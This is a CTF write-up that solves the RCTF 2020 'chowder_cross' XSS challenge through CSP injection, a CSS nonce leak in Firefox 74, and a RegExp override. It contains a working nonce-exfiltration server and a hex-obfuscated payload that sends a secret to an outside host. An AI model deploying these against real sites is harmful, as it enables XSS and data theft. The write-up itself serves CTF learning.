RCTF2020 chowder_cross writeup

RCTF 2020 chowder_cross writeup

(一) csp inject + firefox import css to leak nonce

1. csp inject

The csp of the title is as follows:

Obviously, the conventional xss payload can not be bypassed.

But because of the .htaccess of this web challenge is written, and the PHP backend implementation of csp leads to us being able to inject at the csp such as: http://124.156.139.238/xss/?action=post&id=1a3f48b6b2655ba6feeefb38ca9ce492

You can refer to the following link to learn it:

https://portswigger.net/research/bypassing-csp-with-policy-injection

however because I have filtered characters such as script, you cannot use methods such as script-src-attr or report to bypass script-src directly, so you need to leak the nonce first.

2.firefox import css to leak nonce

The xss bot is using firefox 74.0 version, this version is amazing, when the version is higher than 74.0 you will not be able to use this method of leak nonce because firefox removes the nonce when loading the dom, of course, this situation is greater than 60 in chrome version Will also happen.And there is also a little knowledge point. When there is a csp, if we want to leak nonce, we can not directly use script [nonce ^ = "a"] to attack like this. We must use other selectors as a part such as script [nonce ^ = "% s "] ~ nav.

So in the case of filtering keywords such as url, we can use import to import external css for leak attack, you can refer to the following article:

https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/

In the end we can compose the following script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
const compression = require('compression')
const express = require('express');
const cssesc = require('cssesc');
const spdy = require('spdy');
const fs = require('fs');


const app = express();
app.set('etag', false);
app.use(compression());

const SESSIONS = {};

const POLLING_ORIGIN = `https://example.com:3000`;
const LEAK_ORIGIN = `https://example.com:3000`;

function urlencode(s) {
return encodeURIComponent(s).replace(/'/g, '%27');
}

function createSession(length = 150) {
let resolves = [];
let promises = [];
for (let i = 0; i < length; ++i) {
promises[i] = new Promise(resolve => resolves[i] = resolve);
}
resolves[0]('');
return { promises, resolves };
}

const CHARSET = Array.from('1234567890/=+QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm');
app.get('/polling/:session/:index', async (req, res) => {
let { session, index } = req.params;
index = parseInt(index);
if (index === 0 || !(session in SESSIONS)) {
SESSIONS[session] = createSession()
}

res.set('Content-Type', 'text/css');
res.set('Cache-Control', 'no-cache');

let knownValue = await SESSIONS[session].promises[index];

const ret = CHARSET.map(char => {
return `script[nonce^="${cssesc(knownValue+char)}"] ~ a { background: url("${LEAK_ORIGIN}/leak/${session}/${urlencode(knownValue+char)}")}`;
}).join('\n');

res.send(ret);

});

app.get('/leak/:session/:value', (req, res) => {
let { session, value } = req.params;
console.log(`[${session}] Leaked value: ${value}`);

SESSIONS[session].resolves[value.length](value);
res.status(204).send();
});

app.get('/generate', (req, res) => {
const length = req.query.len || 100;
const session = Math.random().toString(36).slice(2);

res.set('Content-type', 'text/plain');
for (let i = 0; i < length; ++i) {
res.write(`<style>@import '${POLLING_ORIGIN}/polling/${session}/${i}';</style>\n`);
}
res.send();
});

const options = {
key: fs.readFileSync('/etc/ssl/private/private.key'),
cert: fs.readFileSync('/etc/ssl/certs/full_chain.pem')
}


const PORT = 3000;
spdy.createServer(options, app).listen(PORT, () => console.log(`Example app listening on port ${PORT}!`))

And construct the following payload:

177

And send the following url to the administrator:

1
/s example:3000;style-src * 'unsafe-inline';/?action=post&id=9842371276eafb47f7d0ad7befa3ee25

Next you will receive a nonce from the administrator:

(二) cover bypass RegExp + iframe xssi

1.cover bypass RegExp

Due to the toString filtering of the front end, we can not directly obtain the flag function, originally we can use uneval or toSource function to bypass in the firefox browser, but here firefox74.0 has played a role, but in versions higher than 74.0 ,Source and uneval functions are disabled, I hooked the uneval function to leave a trap for CTFer, so that they did not find this secret so quickly, because my windows.uneval = noop is too simple, I guess it may Someone will try to bypass it.

The conventional method is to use iframe to obtain the pure toString function to bypass, but this time due to the front end hook filtered src :

So we must first bypass it,My idea is to achieve the bypass effect by overwriting:

RegExp.prototype.test = function(){return false};

2.iframe xssi

However, due to the existence of sandbox, iframes are not homologous, so we can not include the flag function in the parent window. But by including the flag function in the iframe and using the pure toString method in the iframe, we can bypass it. then we can obtain the flag function and take the flag function out, of course due to the existence of csp We also need to inject a csp like this frame-src *

so the final payload is as follows:

1
<script nonce=bc36554eab55edbbbc04c995d733085a>RegExp.prototype.test = function(){return false};var a ="<ifra".concat("me sr","cdoc='\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x34\x2e\x31\x35\x36\x2e\x31\x33\x39\x2e\x32\x33\x38\x2f\x66\x6c\x61\x67\x2e\x70\x68\x70\x3f\x66\x3d\x31\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e\x3c\x73\x63\x72\x69\x70\x74\x20\x6e\x6f\x6e\x63\x65\x3d\x62\x63\x33\x36\x35\x35\x34\x65\x61\x62\x35\x35\x65\x64\x62\x62\x62\x63\x30\x34\x63\x39\x39\x35\x64\x37\x33\x33\x30\x38\x35\x61\x3e\x6c\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x68\x72\x65\x66\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x78\x73\x73\x2e\x6d\x75\x73\x65\x6c\x6a\x68\x2e\x6c\x69\x76\x65\x2f\x3f\x63\x6f\x6f\x6b\x69\x65\x3d\x22\x2b\x67\x65\x74\x5f\x73\x65\x63\x72\x65\x74\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'>");document.body.innerHTML=a;</script>

And send the following url to the administrator:

/;frame-src *;/?action=post&id=0aaf916cbd820bafc4c88fab90e0130f

You will get the flag following:

flag:RCTF{7JKxVdKaaMD7ZjzMVXBQlC8r}

本文标题:RCTF2020 chowder_cross writeup

文章作者:MuseLJH

发布时间:2020年06月01日 - 10:16

最后更新:2020年06月01日 - 13:32

原始链接:https://museljh.github.io/2020/06/01/RCTF2020-chowder-cross-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------END-------------
0%